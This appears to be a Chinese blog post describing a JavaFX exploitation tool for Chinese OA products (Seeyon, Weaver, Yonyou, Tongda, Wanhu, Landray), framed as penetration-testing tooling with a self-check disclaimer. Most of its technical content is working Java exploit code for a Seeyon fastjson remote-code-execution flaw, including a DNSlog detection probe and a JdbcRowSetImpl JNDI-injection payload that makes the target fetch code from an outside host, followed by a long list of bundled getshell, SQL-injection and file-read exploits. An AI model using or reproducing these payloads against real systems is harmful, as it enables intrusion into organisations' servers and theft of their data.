Java_OAexp工具设计及实现 | 技术精选0132
2022-4-27 18:0:0 Author: mp.weixin.qq.com(查看原文) 阅读量:47 收藏

本文约1700字,阅读约需6分钟。
本文主要介绍基于JavaFX图形化界面开发的快速OA类利用工具。笔者收集和整理了目前工具的OA类验证及其利用的方式和方法,整合成一个方便快捷图形化的快速利用工具。
想要写这个工具的原因,主要是日常工作中,OA漏洞利用总是需要去找无数验证脚本,操作繁琐。为了方便日常渗透测试,简单快捷地进行OA利用渗透,方便团队提升效率,笔者撰写了这款工具。
设计初期,笔者收集和查看了一些师傅所撰写的OA利用相关工具和文章,都是部分漏洞的利用和探测,比较单一。在这个情况下,笔者把现存披露的漏洞利用方式进行了收集整合,目前已经写完致远、泛微、用友、万户、通达、蓝凌。
1
设计思路
思路主要是发现、验证、深入利用这几个模块:
漏洞快速发现模块(主要是通过poc或者exp发现漏洞存在与否)-单目标地址;
快速利用支持漏洞上传、回显、命令执行、Dnslog多种类型-单目标地址;
批量验证模块(通过多线程并发调用快速发现模块)-多目标地址;
代理模块(方便调试和代理池使用);
命令执行Java_Runtimebase64编码及其相关命令note;
数据库密文解密(用友NC、蓝凌)。
2
实现过程
界面javaFX绘制:
对于poc编写利用过程,这里举例子fastjson简单说明一下:
快速验证模块实现
publicboolean VULcheck(Stringurl) throwsException {        this.target= url;       String path = url +VULURL;        //获取dnslogdomian        String dnslog =DnslogDomain();       if(dnslog.equals("请检查网络")){           this.isVul= false;       }else{            try{                Map<String,String> Headers =new HashMap<String,String>();               Headers.put("Content-Type","application/x-www-form-urlencoded");               Headers.put("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131Safari/537.36");               Headers.put("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");               Headers.put("Connection","close");               String data ="_json_params={\"@type\":\"java.net.Inet4Address\",\"val\":\""+ dnslog.split(",")[1]+ "\"}";               String data2 ="_json_params={\"%40type\":\"java\\x2enet\\x2eInet4Address\",\"val\":\""+ dnslog.split(",")[1]+ "\"}";               HttpRequest result =HttpRequest.post(path).headers(Headers).send(data).followRedirects(false).readTimeout(5000);               HttpRequest result2 =HttpRequest.post(path).headers(Headers).send(data2).followRedirects(false).readTimeout(5000);               String ress =result.body();               String ress2 =result2.body();               System.out.println(ress);               System.out.println(ress2);               //获取dnslog记录               String getrecords =DnslogRecords(dnslog.split(",")[0]);               if(getrecords.contains(dnslog.split(",")[1])){                    this.isVul= true;               }               return this.isVul;           } catch(Exception e){               System.out.println(e);               throw e;           }        }       return this.isVul;   }
漏洞验证回显
publicString Vulexp(Stringurl,String cmd,String encoding) throwsException {        this.target= url;       String path = this.target+ VULURL;       //获取dnslogdomian        String dnslog =DnslogDomain();       System.out.println(dnslog);       if(dnslog.equals("请检查网络")){           this.isVul= false;       }else{            try{               Map<String,String>Headers=newHashMap<String,String>();
Headers.put("Content-Type","application/x-www-form-urlencoded"); Headers.put("User-Agent","Mozilla/5.0(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/92.0.4515.131 Safari/537.36"); Headers.put("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"); Headers.put("Connection","close"); String data ="_json_params={\"@type\":\"java.net.Inet4Address\",\"val\":\""+ dnslog.split(",")[1]+ "\"}"; String data2 ="_json_params={\"%40type\":\"java\\x2enet\\x2eInet4Address\",\"val\":\""+ dnslog.split(",")[1]+ "\"}"; HttpRequest result =HttpRequest.post(path).headers(Headers).send(data).followRedirects(false).readTimeout(5000); HttpRequest result2 =HttpRequest.post(path).headers(Headers).send(data2).followRedirects(false).readTimeout(5000); String ress =result.body(); String ress2 =result2.body(); System.out.println(ress); System.out.println(ress2); //获取dnslog记录 String getrecords =DnslogRecords(dnslog.split(",")[0]); String dnsdomain = "原始dnsdomain_host:" +dnslog.split(",")[1]; String dnsrecords ="结果dnsrecords_value:" +getrecords; if(getrecords.contains(dnslog.split(",")[1])){ returnpath + "存在致远OAfastjson rce \n"+ dnsdomain +"\n"+dnsrecords; } return path +"不存在致远OAfastjson rce \n"+ dnsdomain +"\n"+dnsrecords;
} catch(Exception e){ System.out.println(e); throw e; } } return path +"请检查网络";
}
漏洞进行判断验证回显:
if(OA.contains("SeeyonOA_Fastjson_ChangeLocale_Rce")){                        exp =newSeeyonOA_Fastjson_ChangeLocale_Rce();                       this.exp= Tools.getExploit(cve);                       try {
if(this.exp.VULcheck(url)){ //String result = this.exp.Response(url); this.basic_info.appendText(url+ " 存在" + cve +"漏洞\r\n"+"-----------检测完毕-----------"+"\r\n"); } else{ this.basic_info.appendText(url+ " 不存在" + cve +"漏洞\r\n"+"-----------检测完毕-----------"+"\r\n"); } } catch(Exception e){ this.basic_info.appendText("检测异常\r\n"+e.toString()+"\n-----------检测完毕-----------"+"\r\n"); } }jndiExec利用:public StringjndiExec(String url,String jndi,String echo,String encoding) throwsException {
this.target = url; Stringpath = this.target + VULURL; //获取dnslogdomian try { Map<String,String>Headers=new HashMap<String,String>(); Headers.put("Content-Type","application/x-www-form-urlencoded"); Headers.put("User-Agent","Mozilla/5.0(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/92.0.4515.131 Safari/537.36"); Headers.put("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"); Headers.put("cmd",echo); Headers.put("Content-Length","243"); String data ="_json_params={\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\""+jndi+"\",\"autoCommit\":true}}"; String data2 ="_json_params={\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\""+jndi+"\",\"autoCommit\":\"true\"}}"; HttpRequest result =HttpRequest.post(path).headers(Headers).send(data).followRedirects(false).readTimeout(5000); HttpRequest result2 =HttpRequest.post(path).headers(Headers).send(data2).followRedirects(false).readTimeout(5000); String ress = result.body(); String ress2= result2.body(); int resp = result.code(); int resp2 = result2.code(); if(resp==200 ||resp2==200){ return path + "存在致远OAfastjson rce \npoc1回显:\n" +ress +"\npoc2回显:\n"+ress2; } return path + "不存在致远OAfastjson rce \npoc1回显:\n" +ress +"\npoc2回显:\n"+ress2; } catch (Exception e) { System.out.println(e); throw e;        } }
以上为漏洞快速发现,验证回显利用,漏洞利用核心实现过程。
3
实现效果
最终实现效果如下:
4
工具实战应用
日常项目实战应用情况:
5
TODO
目前单体利用jar包发布,后期会整合在一起。
Todo界面:
目前支持漏洞类型:致远、泛微、用友、万户、通达、蓝凌。
工具漏洞支持详情:
致远
1、SeeyonOA_Session_Divulge_Upload_Getshell2、SeeyonOA_Fastjson_SursenServlet_Rce3、SeeyonOA_Fastjson_ChangeLocale_Rce4、SeeyonOA_ajaxAction_Upload_GetShell5、SeeyonOA_A8_Htmlofficeservlet_Rce6、SeeyonOA_A6_InitDataAssess_Divulge7、SeeyonOA_A6_Setextno_Sqlinjection8、SeeyonOA_A6_DownExcelBeanServlet9、SeeyonOA_A6_CreateMysql_Divulge10、SeeyonOA_GetSessionList_Divulge11、SeeyonOA_Webmail_FileDownLoad12、SeeyonOA_Session_Divulge13、SeeyonOA_A8_Information

泛微
1、WeaverOA_E_Cology_getSqlData_SqInjection2、WeaverOA_E_Cology_LoginSSO_Sqlinjection3、WeaverOA_E_cology_WorkflowServiceXml_Rce4、WeaverOA_Weaver_common_Ctrl_FileUpload5、WeaverOA_E_Office_Upload_Getshell6、WeaverOA_E_Cology_DBconfigReader7、WeaverOA_Mysql_config_Information8、WeaverOA_E_Bridge_任意文件读取9、WeaverOA_V9_Upload_Getshell10、WeaverOA_E_Mobile_Ongl_Rce11、WeaverOA_V8_Sqlinjection12、WeaverOA_BshServlet_Rce
通达
1、TongdaOA_Attachment_remark_FileInclude2、TongdaOA_Management_Upload_Getshell3、TongdaOA_Delete_Authincphp_Getshell4、TongdaOA_Api_Ali_Upload_Getshell5、TongdaOA_Ispirit_Upload_Getshell6、TongdaOA_Report_Bi_Sqlnjection7、TongdaOA_Swfupload_Sqlnjection8、TongdaOA_File_Include_Getshell9、TongdaOA_Get_Contactlist10、TongdaOA_AnyUser_Login

用友
1、Yongyon_BshServlet_DatabaseDecode2、YongYou_NCCloudFS_Sqlinjection3、YongYou_ERP_NC_DirTraversal4、YongYou_U8_Rce_Sqlinjection5、Yongyon_U8_getSessionList6、YongYou_NC_Uapws_XXE7、YongYou_U8_Sqlinjection8、Yongyon_EF_DirTraversal9、YongYou_BshServlet_Rce

万户
1、WanhuOA_FileUpload_Controller_Getshell2、WanhuOA_showResult_Sqlinjection3、WanhuOA_Download_http_Filedown4、WanhuOA_Download_old_Filedown5、WanhuOA_Download_ftp_Filedown6、WanhuOA_smartUpload_Getshell

蓝凌
1、LandrayOA_Custom_SSRF_JNDI2、LandrayOA_sysSearchMain_Rce3、LandrayOA_Custom_FileRead
6
免责声明
该工具仅用于安全自查检测。由于传播、利用此工具所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。
作者拥有对此工具的修改和解释权。未经网络安全部门及相关部门允许,请勿善自使用本工具进行任何攻击活动,请勿以任何方式将其用于商业目的。
7
参考
http://wiki.peiqi.tech/wiki/oa/https://github.com/f0ng/poc2jarhttps://github.com/xinyu2428/TDOA_RCEhttps://github.com/yhy0/ExpDemo-JavaFXhttps://www.cnblogs.com/fsqsec/p/5501657.html
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